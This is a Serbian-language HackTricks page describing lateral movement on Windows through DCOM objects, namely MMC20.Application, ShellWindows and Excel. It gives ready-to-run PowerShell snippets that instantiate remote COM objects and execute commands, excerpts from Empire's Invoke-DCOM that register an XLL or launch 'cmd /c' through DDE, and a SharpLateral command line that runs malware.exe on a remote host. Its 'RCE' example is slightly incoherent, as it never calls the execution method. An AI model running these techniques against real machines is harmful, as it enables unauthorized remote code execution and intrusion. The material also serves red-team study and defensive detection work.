DCOM Exec
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
MMC20.Application
Za više informacija o ovoj tehnici pogledajte originalni post sa https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
Distributed Component Object Model (DCOM) objekti predstavljaju zanimljivu mogućnost za interakciju sa objektima putem mreže. Microsoft pruža sveobuhvatnu dokumentaciju za DCOM i Component Object Model (COM), dostupnu ovde za DCOM i ovde za COM. Lista DCOM aplikacija može se dobiti korišćenjem PowerShell komande:
Get-CimInstance Win32_DCOMApplication
COM objekat, MMC Application Class (MMC20.Application), omogućava skriptovanje operacija MMC dodataka. Značajno, ovaj objekat sadrži ExecuteShellCommand
metodu pod Document.ActiveView
. Više informacija o ovoj metodi može se naći ovde. Proverite kako radi:
Ova funkcija olakšava izvršavanje komandi preko mreže putem DCOM aplikacije. Da biste se povezali sa DCOM-om na daljinu kao administrator, PowerShell se može koristiti na sledeći način:
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
Ova komanda se povezuje na DCOM aplikaciju i vraća instancu COM objekta. Zatim se može pozvati metoda ExecuteShellCommand da bi se izvršio proces na udaljenom hostu. Proces uključuje sledeće korake:
Proverite metode:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
Dobijte RCE:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
# Then just run something like:
ls \\10.10.10.10\c$\Users
ShellWindows & ShellBrowserWindow
Za više informacija o ovoj tehnici pogledajte originalni post https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
Objekat MMC20.Application je identifikovan kao onaj koji nema eksplicitne "LaunchPermissions," podrazumevajući dozvole koje omogućavaju pristup Administratorima. Za dodatne detalje, može se istražiti tema ovde, a preporučuje se korišćenje @tiraniddo’s OleView .NET za filtriranje objekata bez eksplicitne dozvole za pokretanje.
Dva specifična objekta, ShellBrowserWindow
i ShellWindows
, su istaknuta zbog nedostatka eksplicitnih dozvola za pokretanje. Odsustvo LaunchPermission
registracione stavke pod HKCR:\AppID\{guid}
označava da nema eksplicitnih dozvola.
ShellWindows
Za ShellWindows
, koji nema ProgID, .NET metode Type.GetTypeFromCLSID
i Activator.CreateInstance
olakšavaju instanciranje objekta koristeći njegov AppID. Ovaj proces koristi OleView .NET za preuzimanje CLSID-a za ShellWindows
. Kada je instanciran, interakcija je moguća putem metode WindowsShell.Item
, što dovodi do poziva metoda kao što je Document.Application.ShellExecute
.
Primeri PowerShell komandi su dati za instanciranje objekta i izvršavanje komandi na daljinu:
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
Lateral Movement with Excel DCOM Objects
Lateral movement može se postići iskorišćavanjem DCOM Excel objekata. Za detaljne informacije, preporučuje se da pročitate diskusiju o korišćenju Excel DDE za lateralno kretanje putem DCOM na Cybereason's blog.
Empire projekat pruža PowerShell skriptu, koja demonstrira korišćenje Excela za daljinsko izvršavanje koda (RCE) manipulacijom DCOM objekata. Ispod su isječci iz skripte dostupne na Empire's GitHub repository, koji prikazuju različite metode za zloupotrebu Excela za RCE:
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
Alati za automatizaciju lateralnog kretanja
Dva alata su istaknuta za automatizaciju ovih tehnika:
-
Invoke-DCOM.ps1: PowerShell skripta koju pruža Empire projekat koja pojednostavljuje pozivanje različitih metoda za izvršavanje koda na udaljenim mašinama. Ova skripta je dostupna na Empire GitHub repozitorijumu.
-
SharpLateral: Alat dizajniran za izvršavanje koda na daljinu, koji se može koristiti sa komandom:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Automatski alati
- Powershell skripta Invoke-DCOM.ps1 omogućava lako pozivanje svih komentisanih načina za izvršavanje koda na drugim mašinama.
- Takođe možete koristiti SharpLateral:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Reference
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.